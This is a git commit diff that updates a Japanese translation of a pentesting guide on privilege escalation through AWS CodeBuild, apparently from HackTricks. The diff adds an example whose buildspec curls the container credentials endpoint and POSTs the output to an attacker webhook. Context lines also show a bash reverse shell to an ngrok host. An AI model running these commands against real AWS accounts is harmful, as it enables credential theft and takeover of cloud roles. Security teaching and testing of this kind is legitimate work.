Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-08 20:44:45 +00:00
parent 40ed63a0d0
commit 9367f6ae9a

View File

@@ -61,13 +61,13 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
**注意**: これらの2つのコマンドの違いは次のとおりです
- `StartBuild` は特定の `buildspec.yml` を使用して単一のビルドジョブをトリガーします。
- `StartBuildBatch` は、複数のビルドを並行して実行するなど、より複雑な構成でビルドのバッチを開始することを可能にします。
- `StartBuildBatch` は、より複雑な構成(複数のビルドを並行して実行するなどでビルドのバッチを開始することを可能にします。
**潜在的な影響**: 添付されたAWS Codebuildロールへの直接的な権限昇格。
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
**`iam:PassRole`, `codebuild:CreateProject`, および `codebuild:StartBuild` または `codebuild:StartBuildBatch`** の権限を持つ攻撃者は、実行中のものを作成することによって **任意のcodebuild IAMロールへの権限を昇格させる**ことができます
**`iam:PassRole`, `codebuild:CreateProject`, および `codebuild:StartBuild` または `codebuild:StartBuildBatch`** の権限を持つ攻撃者は、実行中のコードビルドIAMロールを作成することによって**任意のコードビルドIAMロールへの権限を昇格させることができます**。
{{#tabs }}
{{#tab name="Example1" }}
@@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project
```
{{#endtab }}
{{#tab name="Example3" }}
```bash
# Generated by ex16x41, tested
# Create a hook.json file with command to send output from curl credentials URI to your webhook address
{
"name": "user-project-1",
"source": {
"type": "NO_SOURCE",
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER",
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
"computeType": "BUILD_GENERAL1_SMALL"
},
"serviceRole": "ARN-OF-TARGET-ROLE"
}
# Create a new CodeBuild project with the hook.json file
aws codebuild create-project --cli-input-json file:///tmp/hook.json
# Start a build with the new project
aws codebuild start-build --project-name user-project-1
# Get Credentials output to webhook address
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
```
{{#endtab }}
{{#endtabs }}
@@ -184,7 +218,7 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
```
**潜在的影響:** どのAWS Codebuildロールへの直接的な権限昇格。
**潜在的影響:** どのAWS Codebuildロールにも直接的な権限昇格。
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -268,7 +302,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
### SSM
**SSMセッションを開始するのに十分な権限があれば、**ビルド中の**Codebuildプロジェクトに入ることが可能です。**
**SSMセッションを開始するのに十分な権限がある**場合、**ビルド中のCodebuildプロジェクトに入る**ことが可能です。
Codebuildプロジェクトにはブレークポイントが必要です:
@@ -285,13 +319,13 @@ commands:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
```
詳細については[**ドキュメントを確認してください**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)
For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)`s3:GetObject``s3:PutObject`
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者は、その`buildspec.yml`ファイル攻撃者が書き込みアクセスを持つS3バケットに保存ている場合、CodeBuildプロセスでコマンド実行を取得できます。
特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者は、そのプロジェクトの`buildspec.yml`ファイル攻撃者が書き込みアクセスを持つS3バケットに保存されている場合、CodeBuildプロセスでコマンド実行を取得できます。
注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。希望的には、より特権的な役割です。
注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。おそらく、より特権のある役割です。
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
@@ -317,13 +351,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
**影響:** AWS CodeBuild ワーカーによって使用されるロールへの直接的な権昇格、通常は高い権限を持っています。
**影響:** AWS CodeBuild ワーカーによって使用されるロールへの直接的な権昇格、通常は高い権限を持っています。
> [!WARNING]
> buildspec は zip 形式で期待される可能性があるため、攻撃者はダウンロードして解凍し、ルートディレクトリから `buildspec.yml` を修正し、再度 zip してアップロードする必要があります。
詳細は [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) で確認できます。
詳細は [こちら](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) で確認できます。
**潜在的な影響:** 添付された AWS Codebuild ロールへの直接的な権昇格。
**潜在的な影響:** 添付された AWS Codebuild ロールへの直接的な権昇格。
{{#include ../../../banners/hacktricks-training.md}}